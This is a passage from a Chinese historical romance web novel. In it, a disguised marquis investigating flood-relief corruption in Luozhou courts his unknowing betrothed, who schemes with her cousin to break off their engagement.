比如洛州府的刺史贺雍,无论是品级还是为官年限,他都是这洛州府的长官,但因为他出身寒门,身后并无依仗,因此在日常办事时,常常表现得唯唯诺诺,反唯其上佐赵长史马首是瞻。
至于赵长史,他的身家背景倒是很好查,他虽然也是科举入仕,却与惠国公府沾亲带故,他的长女是惠国公府二郎君朱巍的妾室。
卢烨并不确定,赵长史能做到今日这个位置,到底和惠国公府有没有关系,但在他得知这一亲缘关系之后,很难会觉得他们没有关系。
贺雍显然也这么觉得,否则没必要对自己的下属唯唯诺诺。
至于另一位上佐蒋司马,则始终都是一副事不关己的疏离样子,和两位上峰的关系都不算亲厚,看不出偏向谁。
其实早在来之前,卢烨便隐隐地猜到陛下的目的——想要清算惠国公府,借此收揽权柄。
惠国公朱家是百年勋贵,前朝时势力便十分显赫,乃北方第一大族。
当年大梁朝先祖打江山,是从南边打过来的,北边民风强悍,又是都城所在之地,根本不认新朝皇帝。
是朱家出面,帮着太祖皇帝解决了这些问题。
可以说没有朱家,大齐皇帝登基绝对没有这么简单,且齐朝在北边没有根基,想要快速扎根很是艰难,也是出面。
因此,太祖皇帝便让自己的嫡长子,也就是未来的太子,娶了朱家的女儿,并将朱家连同当时和自己一起打天下的六个近臣,一并被封为了一等国公。
在这七位开国功勋中,朱家本就是枝繁叶茂的大家族,不像其他六家在北方没有根基,所以这些年越演越盛。
更重要的是,朱家不仅郎君争气,女子更争气。
到如今大梁开国五十多年,已经历经了四朝,其中皇后之位,朱家女占了三个。
当今太后和皇后娘娘,都姓朱。
如此鼎盛的勋爵之家,就是皇帝也要给面子。
但又有那个皇帝,愿意与臣子分享权柄呢?
当今圣上初登基时,的确依仗过朱家,但这些年,也在逐渐收拢权柄。
初开国时,大梁皇室一直在休养生息,需要文臣稳住朝局,但是如今正是开疆拓土的时候,需要武将建功立业。
朝代更迭,已有越来越多的人为皇室立功。圣上毫不吝啬封赏,京中已然到处都是勋贵。
重臣之列,从前朱家至少占据半数,但现在皇帝扶持起来的新贵越来越多,惠国公府看着还是显赫如云,实际上早已大不如前。
这些都是卢烨在翰林院这两年琢磨出来的,他是进士出身,天子门生,由陛下一手提拔起来的,自然只忠陛下一人。
而端阳侯更是陛下倚重的近臣,又是陛下的亲外甥,无论如何都是值得信任的。
因此,他今日特意与这位端阳侯谈起此事,不想对方的表情仿佛并不赞同。
卢烨不解他意,问:“侯爷,可是下官思虑有误。”
徐肃年坐在卢烨的对面,其实并不意外他的这番说辞,他笑了笑,不答反问:“卢大人,我们此行洛州,目的为何?
卢烨不假思索地回答:“自然是为查去岁的洛州水患。”
徐肃年却道:“大人都说是去岁了,如今洛州早已恢复安定,朝廷的赈灾粮也下放得够多了,缘何还要派你我二人过来?”
卢烨皱眉,“侯爷这话下官就有些不懂了,赈灾粮虽发,贪官却未除,百姓又如何能安居乐业?”
徐肃年说:“贪官污吏自然要除,眼下更重要的是,是补回百姓们的赈灾粮,否则今年汛期一到,洛州照样饿殍千里。”
卢烨还是不明白,查了贪官,不就有粮食了吗?
赈灾粮早已下放,即便缴查了贪官,多出来的银子也是收拢到国库,怎么会再发给百姓。
但这次徐肃年没再解释,只起身拍了拍卢烨的肩膀,说:“去查查那个姓蒋的,我要知道他到底是谁的人。”
再回到济善堂,月亮已挂柳梢头。
纪明实不在,院子里一派安静,徐肃年难得露出一丝疲惫的情绪来,步子也缓了下来。
等走到房间门口,正要推门,忽然见一旁的窗棱上挂着一个巴掌大小的荷包。
徐肃年微微一愣,抬手摘了下来-
听到外间敲门声的时候,盛乔趴在床上看话本,“琥珀么?”
她懒得起床,翻了个身问道。
没人回答。
难道不是琥珀?
盛乔扔了话本,趿着绣鞋走过去开门,“怎么不说……”
还没说完就顿住了。
“你怎么来了?”盛乔惊喜地看着眼前的人。
她做贼心虚地往院子里看了看,怕被人瞧见,赶忙把男人拉进了自己的卧房。
“你怎么这时候来了?”
徐肃年从袖中摸出那枚荷包,拎在食指上,故意问盛乔:“我在门外发现了这个,想来与小娘子有关,所以特意来问一问——”
“这是小娘子送我的么。”
盛乔点头,“对啊,上次我们不是说好了,你只要穿了那衣裳,我就给你给你回一个礼啊,你难道忘啦。”
就是因为记得,所以才觉得不敢相信。
方才徐肃年捏着这荷包认真看了半晌,怎么看怎么觉得这荷包的针脚有些过于熟练细密。他的小娘子不是说她不会绣吗?
就知道他不相信,盛乔忍不住笑。
但她也没解释,只朝徐肃年抬了抬下巴,示意道:“你拆开看看。”
这荷包里面没有装东西,因此只是薄薄的两片布,徐肃年刚才翻来覆去半天,没想到里面还有东西。
可感觉完全没有重量,徐肃年狐疑地看了盛乔一眼,然后听话地拆开了了荷包的抽绳,拎着尾端往下倒了倒。
一张对折的纸片从荷包里飘下来,徐肃年忙伸手去接。
盛乔狡黠地朝他眨眨眼,“我本来自告奋勇要送你荷包的,是你自己不要的,说只让我给你写一副字作为回礼就好。”
“所以,我今天特意去街上买了一个荷包,怕配不上我的字,特意挑的是江南最好的绣娘绣的,花了我三两银子呢。”
她一指徐肃年的掌心,“喏,连同我的回礼,一起送给你。”
徐肃年看着手里那片轻薄的纸片,这就是盛乔的回礼?
盛乔笑着道:“不打开瞧瞧吗?”
是有一点点失望的,可是徐肃年看着盛乔微微上挑的唇角,不想让她也失望。
于是,他依言打开。
这么轻的纸条上会写什么?
徐肃年刚刚其实想过很多可能,可没想到打开之后,纸条上竟然只有两个字——盛乔。
徐肃年一下子顿住,抬头看着眼前的小娘子。
“我的名字。”她笑得温柔,“以后叫我的名字吧,我叫盛乔。”
第28章 怀疑徐肃年真是个混蛋
在盛乔面前,徐肃年一向敬称她为小娘子。
虽然他早就知道盛乔的名字,不过盛乔并不知道。
盛乔原本也没觉得有什么不对,直听到白日纪明实的话,她才意识到徐肃年直到如今还不知道她的真实姓名。
她此时看着徐肃年难得一副呆怔的模样,颇有些忍俊不禁,故意问道:“怎么这个表情?你不认识这两个字啊。”
徐肃年回过神,看向盛乔的表情很是复杂。
在盛乔面前,他一直都是一个车夫的身份,虽然盛乔从未把他当成下人看待,但徐肃年也没想到,她会这么坦然地对他说起自己的真实身份。
她越是坦荡,就越衬得他手段卑劣。
有那么一瞬间,徐肃年甚至有点不敢去看盛乔那双纯澈的眼睛。
“我……”
徐肃年几乎就要控制不住地说出来了,却听盛乔忽然有些小心翼翼地问他,“你是不是知道我是谁?”
徐肃年犹豫了一下,说:“听到小娘子的姓名,隐约能猜到一些。”
盛乔没有怀疑,因为燕国公府在长安城实在很有名望,且“盛”这个姓氏也足够特殊,只要在长安生活过,很少有人不知道燕国公府盛家。
也正是因此,盛乔路上一直没有提过自己的姓氏。
盛乔有些忐忑地观察男人的脸色,担心自己身份太高,会给他带来心理压力,又想到路上徐少安几次问及自己的身份,她要么不答,要么胡编,也怕他会生气自己的隐瞒。
在她的认知里,撒谎欺瞒,这是不信任对方的表现,与人诚心相处,不该如此。
于是她解释道:“徐少安,我不是故意隐瞒我的身份,你也知道,我当时是逃婚出来的,怕被我阿爹查到抓回去,所以一路都没有告知别人我的身份。但我不是故意骗你的。”
竟然是盛乔在向自己解释,便是徐肃年这样的人都觉得这场面分外荒唐,盛乔的坦率让他更是自惭形秽。
徐肃年看着她纯澈的眼睛,叹道:“我哪有立场怪你呢。”
他的声音不大,但因为两人离得很近,盛乔还是听到了,可她没听懂这话是什么意思。
徐肃年看着她疑惑的表情,几乎就要把真相说出来了,忽然听到外面传来一阵急促的脚步声,紧跟着便是郑墨敲门的声音,“阿乔。”
盛乔先是一愣,反应过来之后第一时间去捂面前男人的嘴,让他不要说话。
“啊,表姐……”盛乔有些慌,“这么晚了,有什么事啊?”
外头的郑墨抬头看了看天上的月亮,奇怪地问:“现在很晚吗?我是来给你送信的,长安寄来的信。”
听到是长安的信,盛乔就算已经睡下了也得爬起来,何况她根本没有睡下。
可要是给郑墨开了门,她屋
里这个怎么办?
盛乔头疼地看了看仍旧被他捂着嘴巴的男人,然后回身开始打量屋子里的陈设——
屏风太小,柜子太窄,书桌底下藏不了人。
盛乔认真地思考了所有可能藏身的地点,最后视线落在了房间最里面的雕花拔步床上。
她的床很大,且因为她对光线很敏感,晚上睡觉时不能有一点光,因此她床头足足挂了三层帷幔,全落下来后,半点光都透不进来。
自然,外面也看不到里面的样子,表姐更不会闲的没事掀开她的床幔去看。
郑墨等了一会儿,没听到盛乔的回应,她狐疑地再度敲了敲门,“阿乔?”
“啊!表姐,我在,我……”盛乔机灵的脑袋瓜飞快地转了起来,“你等一下啊姐姐,我刚刚已经躺下了,正穿衣服呢,你等一下哦……”
说完,她在男人万分惊讶的目光中,推着他的肩膀往床边走去。
徐肃年没想到盛乔会直接把自己推到她的床上,一时还有些没反应过来,想要说什么,就见女郎吹胡子瞪眼睛地看着他,一副他如果敢发出声音,就要活生生掐死他的模样。
徐肃年忍俊不禁地挑了挑眉,但也不想真的惹了小娘子生气,于是从善如流地顺着她的力道钻进了拔步床里。
盛乔把他按倒就要转身。
徐肃年看了看厚重的帷幔,连忙拉住她的手,用气声对她说:“太黑了。”
盛乔骤起眉,“不能点灯,会被发现。”
“床帐那么厚,外面看不见里面的光。”徐肃年的理由很充分,“而且你说你刚起床,难道不点灯?”
盛乔很容易就被说服了,她指了指床头的小桌,那里摆着一盏灯。
“你自己点吧。”
说完,盛乔飞快把三层帷幔都落下了,然后还还很入戏地把外裳解了一半,然后衣衫不整地去开门,“表姐,抱歉让你等这么久。”
郑墨看着她尚未完全系上的衣衫,和她微微泛红的脸颊,倒是没怀疑什么,只是进了屋子之后,见到她那遮得层层叠叠的拔步床,很是惊讶地问了一句,“阿乔,眼看就要入夏了,你把床幔都放下来,不觉得闷么?”
盛乔轻咳一声,“睡着的时候天还亮着,我怕光。”
郑墨倒是知道她这个习惯,也没再多问,点了点头,从怀中掏出一封信,递给盛乔,是燕国公府派人快马加鞭送来的家书。
盛乔只看信封上的字,就知道是阿爹写来的。
是退婚的事有了进展吗?
盛乔迫不及待地打开,一目十行地把信看完,原本期待的神情一下子垮了下来,握着信纸的手也渐渐垂到了桌边。
郑墨看着她的表情,“怎么了?”
盛乔没说话,只把手里的信纸往郑墨怀里推了推。
郑墨接过一看,秀眉也蹙了起来,“徐肃年不答应退婚?”
盛乔垂头丧气地往桌角上一趴,“我真不明白他为什么不答应,我们两个又没见过面,他的家世摆在那,想娶谁家的姑娘娶不到?何必非要我呢?”
郑墨其实也想不明白,但见盛乔情绪低落,便软言宽慰道:“姑父不是在信中说了吗?是因为徐肃年不在长安,这婚才没退成的,再等等罢。”
盛乔听了这话却更不高兴,哼道:“什么嘛,订婚的时候都没在,现在退婚的时候倒是要在了。他在不在长安和退婚有什么关系?再这么拖下去,我都要怀疑他对我们盛家有所图谋了。”
其实郑墨在看到徐家不同意退婚时,心里也产生了一些疑惑。
按理说,盛乔和徐肃年的这桩婚事,应当只是两方长辈的一次拍板,但两个年轻人是从未见过的。
如此一桩盲婚哑嫁,能够退婚不该高兴吗?
可徐肃年为何不同意?难道他真的是图谋燕国公府的权势?
虽然盛乔的阿爹,燕国公本人只是一介五品文官,官职并不算很高,但盛乔的二叔却是戍边的将军,手里掌有军权。
前朝后期皇帝昏聩,骄奢淫逸以至国孥空虚,甚至有几个皇帝为了自己享乐,割让边境国土,换取每年上供的岁币。
后来大梁朝初立,太祖、太宗皇帝专心整治内政,无心边关之事。而今的建安帝已经是第四代皇帝,内政也趋向平稳,边关旧土早已到了重收之日。
前朝割让出去的土地总有六州十四郡,如今已收复大半,其中的首功,非阿乔的二叔莫属。
早年间惠国公府朱家势大,后宫朱皇后一人独占,身为皇后的独子,太子向来有恃无恐,行事也愈发乖张。
明眼人都期待朱家倒台,另册贤明储君,暗地里的储位争夺并不太平。难道徐肃年心中早就想好了要拥立哪位皇子,提前站好了队,只是苦于手中无兵权,这才想通过姻亲的关系,将盛家拉下水?
郑墨越想越不对劲。
她先前对盛乔这桩婚事并没有什么看法,支持盛乔逃婚也不过因为盛乔自己不喜,但是现在,她反而觉得这婚是必须要退了。
于是,她扯了扯盛乔的袖子,说:“我倒是有个方法,只是不知道行不行?”
盛乔连忙凑过来,“什么办法?”
“姑父不是说,徐肃年不在退不了婚么,若是我们能找到他,劝说他写一封家书回去,徐家又还能再找什么理由?”
郑墨意味深长地点了点桌上摊开的家书,“我听絮娘说,徐肃年现在就在洛州,查去岁水患的案子。”
盛乔听到这话,眼前顿时一亮。
“快!表姐与我细说。”
于是两个小娘子头碰头的商量起这个退婚的大计来。
郑墨说得认真,盛乔更是一边听一边点头,心里装得全都是对那素未谋面未婚夫的愤恨,全然忘了她床榻里还藏着一个男人。
自四月初立夏过去,天气也一天天的热了起来。
徐肃年平时自己待在房间,基本都将窗户大敞着,此时盛乔的房间不仅门窗紧闭,还在拔步床四周落了三层厚厚的帷帐,徐肃年只觉得自己都要闷出汗来了。
郑墨刚进来的时候,他还有心思去听两人说话,后来两人说话的声音越来越小,他也懒得再分出心思去听那两人在说什么了。
何况郑墨的办法实在太好猜,无非是想找到“徐肃年”本人,亲自提出退婚。
只可惜这个办法注定行不通,因为她们根本见不到“徐肃年”。
徐肃年将思绪挪到眼前这座拔步床上。
他刚才已经点了灯,跳动的暖光将这一方封闭的小区域照得大亮。
徐肃年倚靠在床尾,坐得很规矩,没有东碰西摸,眼神却毫不收敛,一寸一寸地打量起少女的闺床。
这床很大,最里面整整齐齐地码着两层被褥,姜黄色凤穿牡丹的被面,颜色娇嫩鲜艳,徐肃年不受控制地想象了一下盛乔盖着这床被子的场景,顿觉这屋子里更热了些。
喉结无声滚动了一下,徐肃年将视线挪开,看向床头,忽然看到那方绣着茱萸纹的丝织软枕底下压着几本封皮为墨蓝色的书册。
徐肃年微微挑了挑眉,倾身把那本书抽了出来。
盛乔和郑墨聊了有两刻多钟,郑墨才终于起身告辞,盛乔将她送到门口,回来看到桌上摊着的信,又颇为郁闷地叹了口气。
她唉声叹气地往床边走,本是想躺下歇一歇,不料一掀床幔,忽然看到徐少安在自己床上靠着看书。
她几乎都要忘了自己塞了个男人进来,被吓得后退一步,再一看,徐少安手里拿着的哪是什么正经书,分明是她先前放在枕边日日追读的话本嘛!
而且好像最新的那本也被她随手塞进来了。
盛乔心下一惊,忙凑过去要抢,“你怎么乱翻我东西啊?”
徐肃年却早就猜到她要做什么,先一步抬高了手,不仅没让她抢到,还不动声色地把封面的书名露了出来——
《红妆劫:贵女与马夫》。
果然
是那本,盛乔双颊霎时漫起了两团绯红,扑过去就要抢。
可徐肃年身高胳膊也长,抬高了手往后仰,盛乔一下子摸了个空。
她扑一下,徐肃年就往后仰一点,直到徐肃年的腰身几乎要贴到盛乔的床褥上。
他强行绷着劲儿,没让自己真的躺下去,还故意把那话本换了个手抓着。
像是小猫扑蝶,盛乔两只手在半空中乱抓,瞪眼看着男人,气鼓鼓地,“快还给我!”
徐肃年看着她的表情,故意问:“这么宝贝,我看看也不行。”
盛乔一直够不到他的手,为了去抓,此时已经半个身子都爬到了榻上,她心知男人是在故意地逗自己,生气地左右看了看,然后抄起自己的枕头,使劲砸到男人的胸口,恼道:“我只是让你进来躲着,没允许你碰我的东西。”
那枕头软得像棉花一样,因此盛乔砸下去的时候丝毫没有要节省力气的意思。
徐肃年一开始还与他笑闹,后来见她折腾得鬓角都渗出了汗,忙停下玩闹的心思,假装很痛地闷哼一声。
盛乔立刻停了手上的动作,嘴上却恶狠狠的,“你还装!”
“真的疼。”徐肃年开始装可怜,“我只是正好瞧见小娘子枕边放着几册话本,这才拿来看看想打发时间。”
“这里面太闷了,我以为小娘子很快就会把郑娘子打发走,没想到你们两个竟凑一块说了那么久的话,我闷得难受,又不敢出声,这才……”
徐肃年觑着盛乔的脸色,重新恢复了正色,和她道歉,“没想到小娘子会这么生气,我以后再不敢了。”
盛乔原本是有些恼羞成怒的,但此时听到这话,又一下子心虚起来。
毕竟她方才是真的把徐少安给忘了。
反正他都自己认错了,她就大人大量地不和他计较了吧。
徐肃年看出盛乔的脸色转缓,又接着道:“我以为这只是普通的话本,所以才胡乱翻了翻,没想到这话本对小娘子这么重要,竟然连碰都不让别人碰一下……”
“并不重要!”盛乔哪会承认,立刻严肃地纠正了他的话,然后郑重强调,“这的确只是个普通的话本,是琥珀上街的时候随手给我买的,我根本就没来得及看呢!”
“这样啊。”徐肃年假装自己相信了,然后把手往前伸了伸,将话本递向盛乔,“那也还是还给小娘子。”
可他说是递过来,身子还在保持着后仰的姿态,盛乔刚才情急之下已经半个身子窜到了男人跟前,这会儿也没在意,抬手就要去拿。
可徐肃年的手臂实在太长了,盛乔只得稍稍往前够了够,为此半个身子都要压到男人的胸口。
而就在她的手指将要触碰到话本时,忽不知怎的,男人停在半空的腰腹忽然撑不住似的晃了晃,抬起的手臂也跟着往下垂。
盛乔原就去要去抓他手里的东西,被他这动作惊到,一下子也没绷住劲儿,上身竟直接压了下去。
反正是在床上,她自己倒下倒是不要紧,可他身下还有一个半抬着身子的徐少安,被她这么一压,一下子躺倒在了她的被褥上。
紧跟着盛乔就严丝合缝地砸进了他的怀里。
柔软的胸口正好压在男人平坦的小腹上,徐肃年敛着眉梢,压着嗓子发出一声闷哼。
他这一声压的很低,可两人现在完全是贴在一块,盛乔又怎么会听不见。
她不满意地爬起来,揉着自己被他坚硬小腹硌痛的胸口,气哼哼的,“你叫什么?我有那么重吗?”
“小娘子身轻如燕,怎么会重?”
徐肃年不准痕迹地将身子侧过去,立刻哄道。
盛乔这才满意,撑着床榻翻身坐起来,刚才因为话本而羞恼的情绪已经被她全忘光了。
甚至她坐起来之后,还伸手去拉了一把仍然躺着的徐少安。
徐肃年很知道分寸,见好就收,也没再故意使坏,撑起来坐到盛乔的身边,将下袍整理好盖住了双腿,然后才去看她的脸色,问:“郑娘子这么晚过来可是有什么事?刚看小娘子好像脸色不太好,这才故意想逗你开心开心。”
提起这个事,盛乔瘪瘪嘴,问他,“你没听到吗?”
徐肃年摇头:“床帏太厚,我听不到。”
盛乔没有怀疑,而是有些惆怅地叹了口气,说:“徐肃年不愿意退婚。”
“……”
猝不及防听到自己的名字,徐肃年一时竟有些没反应过来。
盛乔见他不说话,回头看了他一眼,对他的反应不太满意。
徐肃年立刻问:“徐肃年是谁?”
“你不知道?”盛乔有些惊讶,但也没多想,只是给他解释道,“徐肃年是丹宁长公主的儿子,也是我之前说到的那个未婚夫。”
说到未婚夫三个字的时候,她明显有些咬牙切齿的。
她原本对徐肃年只是畏惧,但自从他不愿意退婚之后,又多了几分厌恶和反感。
“原来是端阳侯。”徐肃年却不知她的情绪变化,只是接着这话说道,“自咱们来洛州的路上,我就发现了,小娘子好像很讨厌您这位未婚夫。”
盛乔毫不掩饰地点了点头,“是啊,讨厌死了。”
听着她的语气,徐肃年终于把自己一直想问的话问了出来,“小娘子为何讨厌他,你……不是没见过他吗?”
“原本不讨厌的,谁让他非要娶我!”盛乔的回答很是任性。
徐肃年看出她的表情是真的厌恶,有一瞬间的心梗。
原本想要在这时候坦白的心思也重新被压了回去。
他忽然意识到自己从前思虑中的一个问题。
他一直只想着让盛乔喜欢自己,如此一来,等她知道自己的真实身份之后,大约就没那么恼怒了。
可他错了。
就算盛乔现在再喜欢他,最后要嫁的也是端阳侯徐肃年,而不是车夫徐少安。
“徐少安”对盛小娘子再好,也不可能一辈子用这个身份活着,他应该改变的是盛乔对她未婚夫“徐肃年”的印象。
他应该让她意识到徐肃年并没有那么可怕,让她逐渐接受徐肃年其实是个很好的人。
等届时机会成熟,他再对她坦诚:当初之所以会瞒着她,就是因为她对徐肃年的印象实在太差,不敢坦白是怕弄巧成拙,这才隐瞒身份。
这个理由既合理又真实,想必盛乔应当能接受罢。
徐肃年在心里将这一番思路的逻辑重新捋了一遍,确定没找出什么问题来,便在心中飞快地组织起说辞。
和以前一样,他不能太过激进,还是要循序渐进地改变盛乔对“徐肃年”此人的认知。
于是,他状作回忆地思索了一下,说:“可我在长安的时候,怎么听说端阳侯其实是个好官,深受百姓爱戴。”
好官?
盛乔怀疑自己听错了,奇怪地看了身边的男人一眼,一副我听不懂你在说什么的样子。
“难道我们说的不是一个人?”徐肃年一副苦恼的样子,“难道小娘子说得不是大理寺的寺卿吗?这京城里还有第二个端阳侯吗?”
“就是他。”盛乔也生出几分好奇来,问道,“你以前真的也听过他的名字?”
“自
然。“徐肃年咳一声,开始大言不惭地介绍起自己的光辉历史来,“我听说端阳侯十七岁就到了大理寺,只用了不到两年就升到了大理寺卿的位置,年纪轻轻就能执掌九寺之一,可见其能力十分出众。”
盛乔听了这话却很是不屑地说:“难道你不知道他是当今陛下的亲外甥么?若没有他亲舅舅的宠爱,我才不信他能这么年轻就做这么高的官,我三哥都只是少卿呢!”
“……”
这话虽然偏激了些,但其实也不是没有道理。
若无母亲的身份,他的确不会这么年轻就能执掌一府刑狱。
徐肃年噎了一下,换了个思路,继续道:“或许是有祖上封荫的功劳,但京城那么多勋贵子弟,哪个不是靠着父母上位,可又有几个真能做出些实事来,至少……至少端阳侯是真刀真枪地破过不少案子,若非如此,就算关系再近,陛下也不会那么信重他。”
这当然也是实话。
可盛乔就是听不得别人在自己面前说徐肃年的好,她无法反驳,就开始抬杠:“你怎么知道换一个人不会比他做得更好?”
她可忘不了自己去大理寺给三哥送饭那次,徐肃年审案的堂下是怎样的一副凄惨场景,她只隔着院墙在外面听着,都觉得浑身汗毛都竖起来了。
这样手段狠辣,毫无怜悯之心的男子怎么能做人夫君。
只怕每天回家满身都是血腥味,她又如何能够与之同床共枕。
真是想想都叫人害怕。
盛乔的想法很是坚定,只是没想到徐少安对徐肃年的评价这么好。
她忽然觉得有些奇怪,忍不住问:“你……难道见过徐肃年?”
她看着男人的眼睛,“要不然怎么一直为他说好话?”
“我……”徐肃年难得有一次被盛乔问得哑口无言,心中暗骂自己还是有些急功近利了。
他连忙解释,“自然没有,只是从前听到过一些有关他的传闻罢了,小娘子怎么会这么问。”
以两人的身份差距,的确不可能见过。盛乔虽然奇怪,但也没往深了想,道:“我只是以为你会很讨厌他。”
徐肃年愣了愣,一时没明白,“……为什么?”
盛乔却被他这个茫然的态度气到了,嚯地一下站起来。
“你不是喜欢我吗?徐肃年一直拖着不与我退婚,你和我就始终没办法成亲,如此你都不生气?”
盛乔很失望,“你到底是不是真的喜欢我!”
没想到真的弄巧成拙了,徐肃年连忙拉住盛乔的手腕,“我当然喜欢!”
“难道小娘子感觉不到我的真心吗?”他毫不犹豫地表白,“我对小娘子的心天地日月可鉴!”
盛乔这次却没那么好糊弄,听了这话仍旧追问道:“那你为什么方才对徐肃年那个评价?”
她盯着男人的眼睛不放,试图从中看出他是否在欺骗自己。
徐肃年被她看得脊背发凉,脑中飞速地转了起来。
他艰难找了个理由,“其实……”
“其实,我是怕小娘子太过冲动,为了退婚的事得罪了端阳侯,毕竟你也说了,他是陛下的外甥,若想报复小娘子实在是易如反掌,我也是担心你。”
“相比之下,我们的事倒可以徐徐图之。”
他的重点在最后一句,他想让盛乔听到自己对她的心意,也让她不要急着去忙退婚的事。
不料盛乔却像是只听到了前半句似的,问他:“所以你也知道徐肃年根本不是个好人对吧?”
徐肃年看着她的眼睛,艰难地,“是,他可是个混蛋啊。”
第29章 肃景端阳侯的亲弟弟
大约是这句骂让盛乔打消了心里对男人的怀疑,但对“徐肃年”此人的态度却没有半分改变。
徐肃年没想到她竟对自己如此排斥,心下无奈,却也没什么办法。
甚至他自己都有些懊悔,何必在这样好的氛围下提起“徐肃年”呢。
虽然盛乔没有直接把他赶走,但心情也肉眼可见的低沉了下来,徐肃年软声哄了两句,也没见到她脸色回转。
他到底识趣,也怕说多错多,没再待太久便离开了盛乔的房间,想着第二日再好好哄她。
可没想到这件事对盛乔的打击那么大,一连几天看着都蔫蔫的,连徐肃年说带她去郊外骑马,她都没有什么心情。
看着盛乔这样子,徐肃年也不知是该喜还是该忧。
他向来早慧,对任何事都能游刃有余,唯独在与盛乔相关的事情上,永远犹豫不决。
这日,徐肃年照样在骑射课结束之后去找盛乔,想与她一同用午膳。
不料走到她院子之后,琥珀却对他说:“小娘子与郑娘子出门去了。”
“出门去了?”徐肃年微微一愣,“可说过什么时候回来么?”
“奴婢也不知。”琥珀摇了摇头,“只是听郑娘子说,她们仿佛是要去找孟娘子。”
找孟娘子?
那大约是书院有事,徐肃年便也没再多等,正好趁着这个空当,去附近的宅子去找了卢烨一趟。
他在洛州已经待了将近一个月,行踪再瞒也不可能完全不被人知,否则洛州府的人也没必要让他这么大费周章了。
只是他一直不出现,洛州的官员也就假装不知道他的存在,两方默契地维持着现在微妙的平静。
上次徐肃年吩咐卢烨去查蒋司马的背景,卢烨派人用心查了,却始终没有什么结论。
徐肃年听到也并不意外,只蹙着眉头抿了口茶。
卢烨觑着他的表情,忍不住问:“侯爷是觉得蒋司马的背景不简单,难道他也是惠国公的人?”
不简单是一定的。能在洛州这个浑水池里保持中立,还两方都不得罪,哪有那么容易。
只是背后是否是惠国公府,就不一定了。
徐肃年长睫微颤,没有说话。
卢烨道:“要不,下官再多派些人去查,实在是蒋司马平时的生活太简单,甚至不与人往来,要彻底查清,只怕要耗费不少功夫。”
“没那么多时间了。”徐肃年在思索,修长的食指在杯壁上一圈圈地摩挲着,半晌,他道,“与其没有头绪地乱查,不如等他主动暴露破绽。”
卢烨看向他,“侯爷有什么好办法?”
徐肃年道:“你只告诉他们,我已到洛州,而后自会有人找上门来。”
卢烨此人最大的优点,就是从不会刨根问底,该他知道的,他怎么都会知道。不该他知道的,就算一直追问也不会得到答案。
这次也是一样,卢烨没再多问,应了一声便去办了。
他离开后,徐肃年看了眼外面的天色,还早,便打算在这里用了午膳再回去。
正要叫齐甄进来,房门被敲响,齐甄自己先过来了,“郎君。”
徐肃年抬头看他一眼,见他表情仿佛有些不对劲,以为出了什么事,皱眉道:“怎么了?”
齐甄小心翼翼地递来一封帖子,“郎君,有人送到驿馆的拜帖,卢大人的手下刚刚送过来的。”
这时候哪来的帖子?徐肃年狐疑地接过那帖子一看,却见上面竟打着燕国公府盛家的徽记。
难怪刚才齐甄是那副表情,就连徐肃年看了也是一怔。
燕国公府的人?
徐肃年的第一反应是燕国公盛怀义。
难道是燕国公亲自来接盛乔回家了,知道他在洛州,因此特意递了拜帖过来。
可转念又觉得不太可能,于是问道:“来送拜帖的是什么人?”
齐甄看着自家郎君,“说是两个小娘子。”
说这话的时候,齐甄的嘴角不着痕迹地抽了抽。
那日他才和齐源提起,自家郎君恐怕是对一路同行的那位小娘子动了心,除非不给人名分,只单单养在洛州,否则和燕国公府的这桩婚事只怕还要有的撕扯。
可这才几天,盛家的小娘子居然都找上门来了。
虽说郎君对这桩婚事并不热衷,却架不住人家出身好,那燕国公府岂是什么好惹的人家。
齐甄悄悄抬眼打量着自家郎君,想知道自家郎君会怎么选,没想到他定定地看了
那帖子一眼,便随手扔进了抽屉里。
“去叫人回了盛娘子,就说我此时不在洛州,有任何事都等回京再说。”
就这么决定了?
难道郎君真决定要为那小娘子舍弃与燕国公府的联姻了?
也不知那位不知名的小娘子该是什么样的性情容貌,竟让自家郎君如此痴情。
齐甄心下乱想,面上却不敢流露出一丝一毫,恭谨地应声,“是。”
那帖子是送到驿馆的,由卢烨的随从接了呈过来的,因此他还得去驿馆传信,接信的随从大约没想到会听到这个回答,一时有些发愣,“侯爷不见?”
他家大人不是说,这两位女郎可能有一位是端阳侯的未婚妻么?
他特意将人请进了驿馆坐着,怎么侯爷还不见呢。
齐甄瞧出他脸上的表情有些为难,忍不住问:“怎么了?”
那随从隔着房门指了指西边待客的花厅,“我以为这盛家娘子是和侯爷约好的,特意来找侯爷的,又怕外头太晒,热着那两位娘子,因此特意将人请进来坐着了。”
反正看侯爷那意思,这桩婚事能不能成还得两说着,于是道:“没关系,你直说就是。”
说完本想直接离开,往外随意一瞥,正好看到了花厅里隐隐绰绰的背影。
盛娘子与自家郎君订婚也有几个月了,还未曾见过盛娘子是什么模样。
齐甄忽然生出几分好奇,趁着随从过去说话的时候,走到花厅外面想偷瞧两眼。
不料里头的两个小娘子竟然带着帷帽,垂落的纱帘几乎将半个身子都罩住,别说脸了,离得远,就连身材高矮胖瘦都看不太出来。
天气这么热,还带个这么长的帷帽做什么?
这话不仅齐甄想问,盛乔也想问。
昨夜下了一场雨,今天明显比往常更热,盛乔穿着薄衫走了几步都觉得后背生了汗,遑论此时还带着帷帽,她觉得自己简直要被闷死了。
一进花厅她就想把帷帽摘下来,可郑墨按着她的手不让摘。
“你想所有人都看到你这个样子吗?”
郑墨一句话就成功说服了盛乔。
盛乔立刻老实了,伸手想摸了摸眼睛,又想到自己手心沾着汗,只好扭过头去问郑墨,“表姐,我脸上的妆花了吗?”
郑墨左右看了看,确定四周无人,这才做贼似的撩开了盛乔眼前的纱帘。
虽然盛乔脸上的妆是她帮忙画的,但此时此刻,她还是被这妆容吓到了。
她连忙合上帘子,然后对盛乔点了点头,不知是褒是贬地评价道:“放心,还是很丑!”
盛乔:“……”
她忽然有点后悔这么糟蹋自己了。
那日阿爹的家书寄来之后,郑墨给她出的主意,就是让她直接去找徐肃年,然后当面提出退婚。
盛乔当时提出疑惑,“万一见到了徐肃年,他仍然不同意退婚怎么办?”
郑墨说:“你想,男人娶妻为的是什么?”
盛乔想了一会儿,摇了摇头。
郑墨伸出两根手指,说:“一是温柔美貌,能在空闲时候充当解语花;一是贤良淑德,能在他公务繁忙的时候料理后宅。”
盛乔有点明白表姐的意思了,“你是说……”
郑墨微笑道:“如果你是一个又丑又任性的女子,就算你亲爹是皇帝,以徐肃年的身份也不会娶。”
盛乔觉得她说得有道理,因此今天出门之前,特意将自己往丑里打扮了一番,原本圆润漂亮的眼角还糊了一团赤褐色的胭脂充当胎记。
照镜子的时候,这幅尊容把她自己都吓了一跳,郑墨也怕她这样子会吓到别人,这才让她戴上了帷帽。
